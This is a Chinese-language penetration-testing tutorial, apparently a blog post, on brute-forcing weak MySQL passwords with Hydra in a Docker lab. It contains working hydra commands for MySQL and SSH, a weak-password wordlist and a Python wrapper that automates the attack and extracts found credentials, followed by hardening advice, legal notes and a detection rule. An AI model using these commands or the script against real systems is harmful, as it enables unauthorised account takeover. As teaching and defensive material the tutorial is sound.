渗透测试实战:使用Hydra破解MySQL弱口令(附合法授权流程+防御方案)
郑重声明:本文仅供安全学习研究,任何未经授权的网络攻击行为均属违法。实操需获得目标系统书面授权,请遵守《网络安全法》相关规定。
一、实验环境搭建(合法授权测试)
1.1 测试环境配置
#先拉取镜像:靶机246
docker pull swr.cn-north-4.myhuaweicloud.com/ddn-k8s/docker.io/library/mysql:5.7
# 使用Docker快速搭建MySQL测试环境
docker run --name mysql_test -e MYSQL_ROOT_PASSWORD=123456 -p 3306:3306 -d swr.cn-north-4.myhuaweicloud.com/ddn-k8s/docker.io/library/mysql:5.7
# 创建测试账户
docker exec -it mysql_test mysql -uroot -p123456
CREATE USER 'testuser'@'%' IDENTIFIED BY '123456';
FLUSH PRIVILEGES;
GRANT ALL PRIVILEGES ON *.* TO 'testuser'@'%';
FLUSH PRIVILEGES;
1.2 Hydra工具安装
#虚拟机镜像下载地址
https://www.kali.org/get-kali/#kali-platforms
#下载kali linux镜像
kali-linux-2025.1a-installer-amd64.iso
#vm上安装kali linux
二、弱口令爆破实战步骤
2.1 准备密码字典
创建 passwords.txt
文件:
123456
admin
root
password
qwerty
test
123456789
letmein
Welcome123
# 下载常用弱口令字典(可选)
wget https://githubfast.com/danielmiessler/SecLists/raw/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt
创建user.txt用户名字典:
root
testuser
2.2 基础爆破命令
#限制并发任务数
hydra -t 1 -l testuser -P passwords.txt mysql://192.167.14.246
#不限制并发数(可选)
hydra -l testuser -P passwords.txt mysql://192.167.14.246
#(可选)
hydra -L user.txt -P password.txt ssh://靶机ip
2.3 高级参数爆破
hydra -L users.txt -P passwords.txt \
mysql://192.167.14.246 -vV -t 32 -f -I \
-s 3306 -e ns -W 3 -o result.txt
参数解析:
-vV
:显示详细过程-t 32
:使用32个线程-f
:找到第一个匹配后停止-s 3306
:指定非标准端口-e ns
:尝试空密码和用户名密码相同-W 3
:请求间隔3秒
三、自动化破解脚本示例
3.1 Python自动化检测脚本
import subprocess
import re
def hydra_mysql_attack(target_ip, port, user_list, pass_list):
cmd = [
'hydra',
'-L', user_list,
'-P', pass_list,
'-e', 'ns',
'-s', str(port),
'-o', 'hydra_result.txt',
'mysql://' + target_ip
]
process = subprocess.Popen(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True # 确保输出为文本
)
output_buffer = ""
while True:
# 逐字符读取输出
char = process.stdout.read(1)
if not char and process.poll() is not None:
break
if char:
output_buffer += char
# 检查是否包含有效凭证
if "successfully" in output_buffer.lower():
print("[+] 发现有效凭证:")
matches = re.findall(r'login:\s*(\S+)\s+password:\s*(\S+)', output_buffer)
if matches:
for match in matches:
print(f"用户名: {match[0]}, 密码: {match[1]}")
process.terminate()
break
# 使用示例
hydra_mysql_attack(
target_ip="192.167.14.246",
port=3306,
user_list="users.txt",
pass_list="passwords.txt"
)
四、防御加固方案
4.1 MySQL安全配置
-- 修改默认端口
SET GLOBAL port = 3366;
-- 启用密码复杂度策略
INSTALL PLUGIN validate_password SONAME 'validate_password.so';
SET GLOBAL validate_password_policy=STRONG;
-- 设置登录失败锁定
ALTER USER 'testuser'@'%' WITH FAILED_LOGIN_ATTEMPTS 3 PASSWORD_LOCK_TIME 1;
4.2 网络层防护
# 使用iptables限制访问
iptables -A INPUT -p tcp --dport 3306 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 3306 -j DROP
# 启用SSL加密
mysql_ssl_rsa_setup --uid=mysql
五、法律风险告知
- 授权测试:必须获得目标系统的书面授权
- 日志留存:测试过程需完整记录日志备查
- 数据保护:禁止接触真实业务数据
- 报告机制:发现漏洞后应立即停止测试并报告
六、攻击特征分析(WAF防护策略)
6.1 识别Hydra攻击特征
# 典型攻击日志特征
[Warning] Host '192.168.1.5' has more than 'max_connect_errors'
[Note] Aborted connection 45 to db: 'unconnected' user: 'testuser'
6.2 防御规则示例(ModSecurity)
<SecRule ENGINE:DETECT_HYDRA "@ge 5" "phase:1,id:1001,deny,status:403,
msg:'Hydra brute force attack detected',logdata:'Matched count: %{MATCHED_VAR}'"
技术总结:本文演示了在合法授权环境下使用Hydra进行MySQL弱口令检测的全流程。安全从业人员应掌握攻击原理以建立有效防御,普通用户需提高密码安全意识。
拓展阅读:
- 《MySQL 8.0安全白皮书》
- OWASP认证安全指南
请务必遵守网络安全法律法规,技术需向善! 🔐
如果本教程帮助您解决了问题,请点赞❤️收藏⭐支持!欢迎在评论区留言交流技术细节!